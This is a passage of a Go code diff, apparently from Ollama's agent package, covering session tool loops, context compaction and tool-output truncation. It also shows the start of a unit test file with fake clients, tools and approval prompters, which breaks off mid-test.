+		if emitErr := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "skipped", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: msg.Content, Error: msg.Content}); emitErr != nil {
+			return nil, emitErr
+		}
+	}
+	return toolMessages, nil
+}
+
+func (s *Session) currentWorkingDir() string {
+	if s.WorkingDir != "" {
+		return s.WorkingDir
+	}
+	wd, err := os.Getwd()
+	if err != nil {
+		return ""
+	}
+	s.WorkingDir = wd
+	return s.WorkingDir
+}
+
+func (s *Session) applyToolWorkingDir(next string) bool {
+	next = strings.TrimSpace(next)
+	if next == "" {
+		return false
+	}
+	current := s.currentWorkingDir()
+	nextAbs, err := canonicalSessionPath(next)
+	if err != nil {
+		return false
+	}
+	if current == nextAbs {
+		return false
+	}
+	s.WorkingDir = nextAbs
+	return true
+}
+
+func canonicalSessionPath(path string) (string, error) {
+	abs, err := filepath.Abs(path)
+	if err != nil {
+		return "", err
+	}
+	resolved, err := filepath.EvalSymlinks(abs)
+	if err == nil {
+		return resolved, nil
+	}
+	return abs, nil
+}
+
+func isContextCanceledError(ctx context.Context, err error) bool {
+	if err == nil {
+		return false
+	}
+	if errors.Is(err, context.Canceled) {
+		return true
+	}
+	return ctx != nil && errors.Is(ctx.Err(), context.Canceled) && strings.Contains(err.Error(), "context canceled")
+}
+
+func (s *Session) maybeCompact(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse, skipNotified bool) ([]api.Message, bool, error) {
+	if s.Compactor == nil {
+		return messages, skipNotified, nil
+	}
+	req := s.compactionRequest(runID, opts, messages, latest)
+	trigger := s.autoCompactionTrigger(req)
+	if trigger != "" {
+		s.emitCompactionStarted(runID, opts, trigger)
+	}
+	result, err := s.Compactor.MaybeCompact(ctx, req)
+	if err != nil {
+		if result.Due && !skipNotified {
+			if trigger == "" {
+				trigger = "error"
+			}
+			s.emitCompactionSkipped(runID, opts, trigger, result.Reason)
+			skipNotified = true
+		}
+		return messages, skipNotified, nil
+	}
+	if !result.Compacted {
+		if result.Due && !skipNotified {
+			if trigger == "" {
+				trigger = "due"
+			}
+			s.emitCompactionSkipped(runID, opts, trigger, result.Reason)
+			skipNotified = true
+		}
+		return messages, skipNotified, nil
+	}
+	s.emitCompacted(runID, opts, result.Messages, trigger, result.Summary)
+	if err := s.checkPostCompactionPromptBudget(opts, result.Messages); err != nil {
+		return result.Messages, skipNotified, err
+	}
+	return result.Messages, skipNotified, nil
+}
+
+func (s *Session) compactForToolOutputOverflow(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse, assistant api.Message, toolMessages []api.Message, overflows []toolOutputOverflow, skipNotified bool) ([]api.Message, bool, error) {
+	if s.Compactor == nil {
+		return messages, skipNotified, nil
+	}
+
+	keepUserTurns := 0
+	req := s.compactionRequest(runID, opts, messages, latest)
+	req.Force = true
+	req.KeepUserTurns = &keepUserTurns
+	s.emitCompactionStarted(runID, opts, "tool_output")
+
+	result, err := s.Compactor.MaybeCompact(ctx, req)
+	if err != nil {
+		if result.Due && !skipNotified {
+			s.emitCompactionSkipped(runID, opts, "tool_output", result.Reason)
+			skipNotified = true
+		}
+		return messages, skipNotified, nil
+	}
+	if !result.Compacted {
+		if result.Due && !skipNotified {
+			s.emitCompactionSkipped(runID, opts, "tool_output", result.Reason)
+			skipNotified = true
+		}
+		return messages, skipNotified, nil
+	}
+
+	overflowByID := make(map[string]toolOutputOverflow, len(overflows))
+	for _, overflow := range overflows {
+		overflowByID[overflow.toolCallID] = overflow
+	}
+
+	compacted := append([]api.Message(nil), result.Messages...)
+	if !messageEmpty(assistant) {
+		compacted = append(compacted, assistant)
+	}
+
+	for _, msg := range toolMessages {
+		content := msg.Content
+		toolName := msg.ToolName
+		if overflow, ok := overflowByID[msg.ToolCallID]; ok {
+			content = overflow.content
+			if overflow.toolName != "" {
+				toolName = overflow.toolName
+			}
+		}
+		refit := s.toolMessageForPostCompactionContext(toolName, msg.ToolCallID, content, opts, compacted)
+		compacted = append(compacted, refit)
+	}
+
+	s.emitCompacted(runID, opts, compacted, "tool_output", result.Summary)
+	if err := s.checkPostCompactionPromptBudget(opts, compacted); err != nil {
+		return compacted, skipNotified, err
+	}
+	return compacted, skipNotified, nil
+}
+
+func (s *Session) compactionRequest(runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse) CompactionRequest {
+	return CompactionRequest{
+		ChatID:       opts.ChatID,
+		Model:        opts.Model,
+		SystemPrompt: opts.SystemPrompt,
+		Messages:     messages,
+		Tools:        s.availableTools(),
+		Format:       opts.Format,
+		Latest:       latest,
+		Options:      opts.Options,
+		KeepAlive:    opts.KeepAlive,
+		Think:        opts.Think,
+		ContinueTask: true,
+		Progress: func(progress CompactionProgress) {
+			_ = s.emit(Event{Type: EventCompactionProgress, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Tokens: progress.Tokens})
+		},
+	}
+}
+
+func (s *Session) emitCompactionStarted(runID string, opts RunOptions, status string) {
+	_ = s.emit(Event{
+		Type:   EventCompactionStarted,
+		RunID:  runID,
+		ChatID: opts.ChatID,
+		Model:  opts.Model,
+		Status: status,
+	})
+}
+
+func (s *Session) emitCompactionSkipped(runID string, opts RunOptions, status, reason string) {
+	_ = s.emit(Event{
+		Type:    EventCompactionSkipped,
+		RunID:   runID,
+		ChatID:  opts.ChatID,
+		Model:   opts.Model,
+		Status:  status,
+		Content: CompactionSkippedMessage(reason),
+	})
+}
+
+func (s *Session) emitCompacted(runID string, opts RunOptions, messages []api.Message, status, summary string) {
+	_ = s.emit(Event{
+		Type:     EventCompacted,
+		RunID:    runID,
+		ChatID:   opts.ChatID,
+		Model:    opts.Model,
+		Status:   status,
+		Content:  summary,
+		Messages: messages,
+	})
+}
+
+func (s *Session) autoCompactionTrigger(req CompactionRequest) string {
+	if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil {
+		if req.Force {
+			return "force"
+		}
+		contextWindow := compactor.contextWindowTokens(req.Options)
+		threshold := int(float64(contextWindow) * compactor.threshold())
+		if threshold <= 0 {
+			return ""
+		}
+		if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
+			return "prompt_eval"
+		}
+		if estimateCompactionRequestTokens(req) >= threshold {
+			return "estimate"
+		}
+	}
+	return ""
+}
+
+func CompactionSkippedMessage(reason string) string {
+	reason = strings.TrimSpace(reason)
+	if reason == "" {
+		reason = "compaction could not run"
+	}
+	return reason
+}
+
+func resolvedMaxToolRounds(value int) int {
+	if value == 0 {
+		return defaultMaxToolRounds
+	}
+	return value
+}
+
+func (s *Session) toolMessageForContext(toolName, toolCallID, content string, opts RunOptions, messages []api.Message) api.Message {
+	maxRunes := maxToolResultRunes
+	if limit := smallContextToolResultLimitRunes(s.contextWindowTokens(opts)); limit > 0 {
+		maxRunes = min(maxRunes, limit)
+	}
+
+	msg := toolMessageWithLimit(toolName, toolCallID, content, maxRunes)
+	threshold := s.compactionThresholdTokens(opts)
+	if threshold <= 0 {
+		return msg
+	}
+
+	projected := append(append([]api.Message(nil), messages...), msg)
+	projectedTokens := s.estimateRunPromptTokens(opts, projected)
+	if projectedTokens < threshold {
+		return msg
+	}
+
+	baseTokens := s.estimateRunPromptTokens(opts, messages)
+	overheadTokens := estimateMessagesTokens([]api.Message{{
+		Role:       "tool",
+		ToolName:   toolName,
+		ToolCallID: toolCallID,
+	}})
+	// Keep oversized tool output below the compaction threshold before it is
+	// appended to history. This is especially important for <=8k contexts: the
+	// next step must still have enough room to compact and continue the same
+	// user request instead of asking the user to prompt again.
+	availableRunes := (threshold - baseTokens - overheadTokens - toolTruncationMarkerReserveTokens) * 4
+	maxRunes = min(maxRunes, max(0, availableRunes))
+	msg.Content = truncateToolResultContentTo(content, maxRunes)
+	return msg
+}
+
+func (s *Session) toolMessageForPostCompactionContext(toolName, toolCallID, content string, opts RunOptions, messages []api.Message) api.Message {
+	maxRunes := maxToolResultRunes
+	if limit := smallContextToolResultLimitRunes(s.contextWindowTokens(opts)); limit > 0 {
+		maxRunes = min(maxRunes, limit)
+	}
+
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return toolMessageWithLimit(toolName, toolCallID, content, maxRunes)
+	}
+
+	baseTokens := s.estimateRunPromptTokens(opts, messages)
+	overheadTokens := estimateMessagesTokens([]api.Message{{
+		Role:       "tool",
+		ToolName:   toolName,
+		ToolCallID: toolCallID,
+	}})
+	availableRunes := (contextWindow - baseTokens - overheadTokens - toolTruncationMarkerReserveTokens) * 4
+	maxRunes = min(maxRunes, max(0, availableRunes))
+	return toolMessageWithLimit(toolName, toolCallID, content, maxRunes)
+}
+
+func toolMessageWithLimit(toolName, toolCallID, content string, maxRunes int) api.Message {
+	return api.Message{
+		Role:       "tool",
+		Content:    truncateToolResultContentTo(content, maxRunes),
+		ToolName:   toolName,
+		ToolCallID: toolCallID,
+	}
+}
+
+func smallContextToolResultLimitRunes(contextWindow int) int {
+	switch {
+	case contextWindow > 0 && contextWindow <= tinyContextToolResultTokenWindow:
+		return tinyContextToolResultRunes
+	case contextWindow > 0 && contextWindow <= smallContextToolResultTokenWindow:
+		return smallContextToolResultRunes
+	default:
+		return 0
+	}
+}
+
+func (s *Session) availableTools() api.Tools {
+	if s == nil || s.Tools == nil {
+		return nil
+	}
+	return s.Tools.Tools()
+}
+
+func (s *Session) compactionThresholdTokens(opts RunOptions) int {
+	contextWindow := s.contextWindowTokens(opts)
+	if contextWindow <= 0 {
+		return 0
+	}
+
+	configuredThreshold := 0.0
+	if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil {
+		configuredThreshold = compactor.Options.Threshold
+	}
+
+	threshold := int(float64(contextWindow) * ResolveCompactionThreshold(configuredThreshold))
+	if threshold <= 0 {
+		return 0
+	}
+	return threshold
+}
+
+func (s *Session) contextWindowTokens(opts RunOptions) int {
+	if s.Compactor == nil {
+		return 0
+	}
+
+	configuredWindow := 0
+	if compactor, ok := s.Compactor.(*SimpleCompactor); ok && compactor != nil {
+		configuredWindow = compactor.Options.ContextWindowTokens
+	}
+
+	return ResolveContextWindowTokens(opts.Options, configuredWindow)
+}
+
+func toolMessage(toolName, toolCallID, content string) api.Message {
+	return toolMessageWithLimit(toolName, toolCallID, content, maxToolResultRunes)
+}
+
+func sanitizeMessageForRun(msg api.Message) api.Message {
+	if msg.Role == "tool" {
+		msg.Content = truncateToolResultContent(msg.Content)
+	}
+	return msg
+}
+
+func sanitizeMessagesForRequest(messages []api.Message) []api.Message {
+	if len(messages) == 0 {
+		return nil
+	}
+	sanitized := make([]api.Message, len(messages))
+	for i, msg := range messages {
+		sanitized[i] = sanitizeMessageForRequest(msg)
+	}
+	return sanitized
+}
+
+func sanitizeMessageForRequest(msg api.Message) api.Message {
+	return sanitizeMessageForRun(msg)
+}
+
+func truncateToolResultContent(content string) string {
+	return truncateToolResultContentTo(content, maxToolResultRunes)
+}
+
+func truncateToolResultContentTo(content string, maxRunes int) string {
+	if maxRunes <= 0 {
+		return fmt.Sprintf("%s omitted ~%d tokens. Use a narrower command, line range, or search query if more detail is needed.]", toolOutputFullOmissionPrefix, approximateTokensFromRunes(len([]rune(content))))
+	}
+	if len(content) <= maxRunes {
+		return content
+	}
+	runes := []rune(content)
+	if len(runes) <= maxRunes {
+		return content
+	}
+	head := maxRunes * 3 / 4
+	tail := maxRunes - head
+	omitted := len(runes) - head - tail
+	marker := fmt.Sprintf(
+		"\n\n[tool output truncated: showing first ~%d tokens and last ~%d tokens; omitted ~%d tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n",
+		approximateTokensFromRunes(head),
+		approximateTokensFromRunes(tail),
+		approximateTokensFromRunes(omitted),
+	)
+	return string(runes[:head]) + marker + string(runes[len(runes)-tail:])
+}
+
+func toolOutputFullyOmitted(content string) bool {
+	return strings.HasPrefix(content, toolOutputFullOmissionPrefix)
+}
+
+func approximateTokensFromRunes(n int) int {
+	if n <= 0 {
+		return 0
+	}
+	return max(1, (n+3)/4)
+}
+
+func messageEmpty(msg api.Message) bool {
+	return msg.Content == "" && msg.Thinking == "" && len(msg.ToolCalls) == 0
+}

agent/session_test.go

@@ -0,0 +1,2188 @@
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type fakeClient struct {
+	calls     int
+	responses [][]api.ChatResponse
+	requests  []*api.ChatRequest
+	err       error
+}
+
+func (c *fakeClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
+	c.requests = append(c.requests, req)
+	if c.calls >= len(c.responses) {
+		return nil
+	}
+	responses := c.responses[c.calls]
+	c.calls++
+	for _, response := range responses {
+		if err := fn(response); err != nil {
+			return err
+		}
+	}
+	return c.err
+}
+
+type staticTool struct{}
+
+type approvalTestTool struct {
+	called *bool
+}
+
+type namedApprovalTestTool struct {
+	name string
+}
+
+type cwdTestTool struct{}
+
+type largeTool struct{}
+
+type preTruncatedTool struct{}
+
+type cancelingTool struct {
+	cancel context.CancelFunc
+}
+
+type cancelAfterToolCallClient struct {
+	cancel context.CancelFunc
+}
+
+type recordingCompactor struct {
+	requests []CompactionRequest
+}
+
+type oversizedCompactor struct {
+	requests []CompactionRequest
+}
+
+type recordingEventSink struct {
+	events []Event
+}
+
+func (s *recordingEventSink) Emit(event Event) error {
+	s.events = append(s.events, event)
+	return nil
+}
+
+func hasEventType(events []Event, eventType EventType) bool {
+	for _, event := range events {
+		if event.Type == eventType {
+			return true
+		}
+	}
+	return false
+}
+
+func hasEventWithTokens(events []Event, eventType EventType, tokens int) bool {
+	for _, event := range events {
+		if event.Type == eventType && event.Tokens == tokens {
+			return true
+		}
+	}
+	return false
+}
+
+func TestSessionEmitsToAllSinksAfterError(t *testing.T) {
+	errSink := EventSinkFunc(func(Event) error {
+		return errors.New("sink failed")
+	})
+	events := &recordingEventSink{}
+	session := &Session{EventSinks: []EventSink{errSink, events}}
+
+	err := session.emit(Event{Type: EventRunFinished})
+	if err == nil {
+		t.Fatal("emit should return the first sink error")
+	}
+	if !hasEventType(events.events, EventRunFinished) {
+		t.Fatalf("later sink did not receive event after earlier error: %#v", events.events)
+	}
+}
+
+func (c cancelAfterToolCallClient) Chat(ctx context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
+	args := api.NewToolCallFunctionArguments()
+	args.Set("value", "skip me")
+	if err := fn(api.ChatResponse{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+		ID: "call-1",
+		Function: api.ToolCallFunction{
+			Name:      "echo_tool",
+			Arguments: args,
+		},
+	}}}}); err != nil {
+		return err
+	}
+	c.cancel()
+	return context.Canceled
+}
+
+func (c *recordingCompactor) MaybeCompact(_ context.Context, req CompactionRequest) (CompactionResult, error) {
+	c.requests = append(c.requests, req)
+	result := CompactionResult{Messages: req.Messages, Due: true}
+	if len(req.Messages) > 0 && req.Messages[len(req.Messages)-1].Role == "tool" {
+		result.Messages = CompactionSummaryMessages("tool result summarized", false)
+		result.Compacted = true
+		result.Summary = "tool result summarized"
+	}
+	return result, nil
+}
+
+func (c *oversizedCompactor) MaybeCompact(_ context.Context, req CompactionRequest) (CompactionResult, error) {
+	c.requests = append(c.requests, req)
+	summary := strings.Repeat("oversized summary ", 300)
+	return CompactionResult{
+		Messages:  CompactionSummaryMessages(summary, req.ContinueTask),
+		Compacted: true,
+		Due:       true,
+		Summary:   summary,
+	}, nil
+}
+
+type recordingApprovalPrompter struct {
+	requests []ApprovalRequest
+	results  []Approval
+}
+
+func approvalStateForTest(allowAll bool, scopes map[string]bool) *ApprovalState {
+	state := &ApprovalState{}
+	state.Set(allowAll, scopes)
+	return state
+}
+
+func (staticTool) Name() string {
+	return "echo_tool"
+}
+
+func (staticTool) Description() string {
+	return "echoes a value"
+}
+
+func (staticTool) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("value", api.ToolProperty{Type: api.PropertyType{"string"}})
+	return api.ToolFunction{
+		Name:        "echo_tool",
+		Description: "echoes a value",
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+		},
+	}
+}
+
+func (staticTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
+	return ToolResult{Content: "tool says hello"}, nil
+}
+
+func (largeTool) Name() string {
+	return "large_tool"
+}
+
+func (largeTool) Description() string {
+	return "returns a large result"
+}
+
+func (largeTool) Schema() api.ToolFunction {
+	return api.ToolFunction{
+		Name:        "large_tool",
+		Description: "returns a large result",
+		Parameters: api.ToolFunctionParameters{
+			Type: "object",
+		},
+	}
+}
+
+func (largeTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
+	return ToolResult{Content: strings.Repeat("x", maxToolResultRunes+100)}, nil
+}
+
+func (preTruncatedTool) Name() string {
+	return "pre_truncated_tool"
+}
+
+func (preTruncatedTool) Description() string {
+	return "returns a large result that is already marked as truncated"
+}
+
+func (preTruncatedTool) Schema() api.ToolFunction {
+	return api.ToolFunction{
+		Name:        "pre_truncated_tool",
+		Description: "returns a large result that is already marked as truncated",
+		Parameters: api.ToolFunctionParameters{
+			Type: "object",
+		},
+	}
+}
+
+func (preTruncatedTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
+	content := strings.Repeat("x", smallContextToolResultRunes) +
+		"\n\n[tool output truncated: showing first ~1500 tokens; omitted ~999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" +
+		strings.Repeat("y", smallContextToolResultRunes)
+	return ToolResult{Content: content}, nil
+}
+
+func (t cancelingTool) Name() string {
+	return "cancel_tool"
+}
+
+func (t cancelingTool) Description() string {
+	return "cancels while running"
+}
+
+func (t cancelingTool) Schema() api.ToolFunction {
+	return api.ToolFunction{
+		Name:        t.Name(),
+		Description: t.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type: "object",
+		},
+	}
+}
+
+func (t cancelingTool) Execute(ctx context.Context, _ ToolContext, _ map[string]any) (ToolResult, error) {
+	t.cancel()
+	<-ctx.Done()
+	return ToolResult{}, ctx.Err()
+}
+
+func (t approvalTestTool) Name() string {
+	return "approval_tool"
+}
+
+func (t approvalTestTool) Description() string {
+	return "requires approval"
+}
+
+func (t approvalTestTool) Schema() api.ToolFunction {
+	return api.ToolFunction{
+		Name:        "approval_tool",
+		Description: "requires approval",
+		Parameters: api.ToolFunctionParameters{
+			Type: "object",
+		},
+	}
+}
+
+func (t approvalTestTool) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (t approvalTestTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
+	if t.called != nil {
+		*t.called = true
+	}
+	return ToolResult{Content: "approved"}, nil
+}
+
+func (t namedApprovalTestTool) Name() string {
+	return t.name
+}
+
+func (t namedApprovalTestTool) Description() string {
+	return "requires approval"
+}
+
+func (t namedApprovalTestTool) Schema() api.ToolFunction {
+	return api.ToolFunction{
+		Name:        t.name,
+		Description: "requires approval",
+		Parameters: api.ToolFunctionParameters{
+			Type: "object",
+		},
+	}
+}
+
+func (t namedApprovalTestTool) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (t namedApprovalTestTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
+	return ToolResult{Content: "approved"}, nil
+}
+
+func (p *recordingApprovalPrompter) PromptApproval(_ context.Context, req ApprovalRequest) (Approval, error) {
+	p.requests = append(p.requests, req)
+	if len(p.results) == 0 {
+		return Approval{Allow: true}, nil
+	}
+	result := p.results[0]
+	p.results = p.results[1:]
+	return result, nil
+}
+
+func (cwdTestTool) Name() string {
+	return "cwd_tool"
+}
+
+func (cwdTestTool) Description() string {
+	return "tests cwd state"
+}
+
+func (cwdTestTool) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("mode", api.ToolProperty{Type: api.PropertyType{"string"}})
+	props.Set("path", api.ToolProperty{Type: api.PropertyType{"string"}})
+	return api.ToolFunction{
+		Name:        "cwd_tool",
+		Description: "tests cwd state",
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+		},
+	}
+}
+
+func (cwdTestTool) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (cwdTestTool) Execute(_ context.Context, toolCtx ToolContext, args map[string]any) (ToolResult, error) {
+	switch args["mode"] {
+	case "set":
+		path, _ := args["path"].(string)
+		return ToolResult{Content: "changed", WorkingDir: filepath.Join(toolCtx.WorkingDir, path)}, nil
+	case "escape":
+		return ToolResult{Content: "escaped", WorkingDir: filepath.Dir(toolCtx.WorkingDir)}, nil
+	default:
+		return ToolResult{Content: toolCtx.WorkingDir}, nil
+	}
+}
+
+func TestSessionRunsToolLoop(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	args.Set("value", "hello")
+
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "echo_tool",
+						Arguments: args,
+					},
+				}}}},
+			},
+			{
+				{Message: api.Message{Role: "assistant", Content: "done"}},
+			},
+		},
+	}
+
+	registry := &Registry{}
+	registry.Register(staticTool{})
+
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	if client.calls != 2 {
+		t.Fatalf("client calls = %d, want 2", client.calls)
+	}
+	if len(result.Messages) != 4 {
+		t.Fatalf("messages = %d, want 4", len(result.Messages))
+	}
+	if result.Messages[2].Role != "tool" || result.Messages[2].Content != "tool says hello" {
+		t.Fatalf("tool message = %#v", result.Messages[2])
+	}
+	if len(client.requests[0].Tools) != 1 {
+		t.Fatalf("first request tools = %d, want 1", len(client.requests[0].Tools))
+	}
+	if len(client.requests[1].Messages) != 3 {
+		t.Fatalf("second request messages = %d, want 3", len(client.requests[1].Messages))
+	}
+}
+
+func TestSessionAddsSystemPromptOnlyToRequest(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	session := &Session{Client: client}
+
+	_, err := session.Run(context.Background(), RunOptions{
+		ChatID:       "chat-1",
+		Model:        "model",
+		SystemPrompt: "available context: go-code",
+		NewMessages:  []api.Message{{Role: "user", Content: "hello"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(client.requests) != 1 {
+		t.Fatalf("requests = %d, want 1", len(client.requests))
+	}
+	reqMessages := client.requests[0].Messages
+	if len(reqMessages) != 2 || reqMessages[0].Role != "system" || reqMessages[0].Content != "available context: go-code" {
+		t.Fatalf("request messages = %#v", reqMessages)
+	}
+}
+
+func TestSessionChatRequestMatchesRunRequest(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	session := &Session{Client: client, Tools: registry}
+	opts := RunOptions{
+		ChatID:       "chat-1",
+		Model:        "model",
+		SystemPrompt: "available context: go-code",
+		NewMessages:  []api.Message{{Role: "user", Content: "hello"}},
+		Format:       "json",
+		Options:      map[string]any{"temperature": 0.5},
+	}
+
+	want := buildChatRequest(opts, opts.NewMessages, registry.Tools())
+	_, err := session.Run(context.Background(), opts)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(client.requests) != 1 {
+		t.Fatalf("requests = %d, want 1", len(client.requests))
+	}
+	gotJSON, err := json.Marshal(client.requests[0])
+	if err != nil {
+		t.Fatal(err)
+	}
+	wantJSON, err := json.Marshal(want)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(gotJSON) != string(wantJSON) {
+		t.Fatalf("ChatRequest mismatch\ngot:  %s\nwant: %s", gotJSON, wantJSON)
+	}
+}
+
+func TestSessionAccumulatesStreamingAssistantMessage(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	args.Set("value", "hello")
+	responses := make([]api.ChatResponse, 0, 100)
+	var wantContent, wantThinking string
+	for range 99 {
+		wantContent += "x"
+		wantThinking += "t"
+		responses = append(responses, api.ChatResponse{
+			Message: api.Message{Role: "assistant", Content: "x", Thinking: "t"},
+		})
+	}
+	toolCall := api.ToolCall{
+		ID: "call-1",
+		Function: api.ToolCallFunction{
+			Name:      "echo_tool",
+			Arguments: args,
+		},
+	}
+	responses = append(responses, api.ChatResponse{
+		Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{toolCall}},
+	})
+
+	session := &Session{
+		Client: &fakeClient{responses: [][]api.ChatResponse{responses}},
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "stream"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	if len(result.Messages) != 2 || result.Messages[1].Content != wantContent || result.Messages[1].Thinking != wantThinking || len(result.Messages[1].ToolCalls) != 1 {
+		t.Fatalf("result messages = %#v", result.Messages)
+	}
+}
+
+func TestSessionRequestHistoryKeepsThinkingAndServerToolCallIDs(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	args.Set("value", "hello")
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
+				{Message: api.Message{Role: "assistant", Thinking: "private chain"}},
+				{Message: api.Message{Role: "assistant", Content: "I'll check."}},
+				{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "volatile-random-id",
+					Function: api.ToolCallFunction{
+						Name:      "echo_tool",
+						Arguments: args,
+					},
+				}}}},
+			},
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("requests = %d, want 2", len(client.requests))
+	}
+
+	secondRequestMessages := client.requests[1].Messages
+	if len(secondRequestMessages) != 3 {
+		t.Fatalf("second request messages = %#v", secondRequestMessages)
+	}
+	assistant := secondRequestMessages[1]
+	if assistant.Role != "assistant" {
+		t.Fatalf("second request assistant = %#v", assistant)
+	}
+	if assistant.Thinking != "private chain" {
+		t.Fatalf("assistant thinking = %q, want preserved", assistant.Thinking)
+	}
+	if len(assistant.ToolCalls) != 1 || assistant.ToolCalls[0].ID != "volatile-random-id" {
+		t.Fatalf("assistant tool calls = %#v", assistant.ToolCalls)
+	}
+	tool := secondRequestMessages[2]
+	if tool.Role != "tool" || tool.ToolCallID != "volatile-random-id" {
+		t.Fatalf("tool result message = %#v", tool)
+	}
+	if len(result.Messages) < 3 || result.Messages[1].Thinking != "private chain" {
+		t.Fatalf("visible result messages lost thinking: %#v", result.Messages)
+	}
+}
+
+func TestSessionKeepsPartialStreamOnCancellation(t *testing.T) {
+	session := &Session{
+		Client: &fakeClient{
+			responses: [][]api.ChatResponse{{
+				{Message: api.Message{Role: "assistant", Content: "partial "}},
+				{Message: api.Message{Role: "assistant", Content: "answer"}},
+			}},
+			err: context.Canceled,
+		},
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "cancel"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(result.Messages) != 2 || result.Messages[1].Content != "partial answer" {
+		t.Fatalf("result messages = %#v", result.Messages)
+	}
+}
+
+func TestSessionCancellationKeepsPartialResultWhenUISinkCancels(t *testing.T) {
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+	trace := &recordingEventSink{}
+	session := &Session{
+		Client: &fakeClient{
+			responses: [][]api.ChatResponse{{
+				{Message: api.Message{Role: "assistant", Content: "partial"}},
+			}},
+			err: context.Canceled,
+		},
+		EventSinks: []EventSink{
+			EventSinkFunc(func(event Event) error {
+				if event.Type == EventRunFinished {
+					return context.Canceled
+				}
+				return nil
+			}),
+			trace,
+		},
+	}
+
+	result, err := session.Run(ctx, RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "cancel"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result == nil || len(result.Messages) != 2 || result.Messages[1].Content != "partial" {
+		t.Fatalf("result messages = %#v, want partial assistant result", result)
+	}
+	if !hasEventType(trace.events, EventRunFinished) {
+		t.Fatalf("trace sink did not receive run finished event: %#v", trace.events)
+	}
+}
+
+func TestSessionTreatsHTTPContextCanceledStringAsCancellation(t *testing.T) {
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+	client := &fakeClient{err: errors.New(`Post "http://127.0.0.1:11434/api/chat": context canceled`)}
+	session := &Session{Client: client}
+
+	result, err := session.Run(ctx, RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "hello"}},
+	})
+	if err != nil {
+		t.Fatalf("Run returned error for canceled HTTP request: %v", err)
+	}
+	if result == nil {
+		t.Fatal("Run returned nil result")
+	}
+	if len(result.Messages) != 1 || result.Messages[0].Content != "hello" {
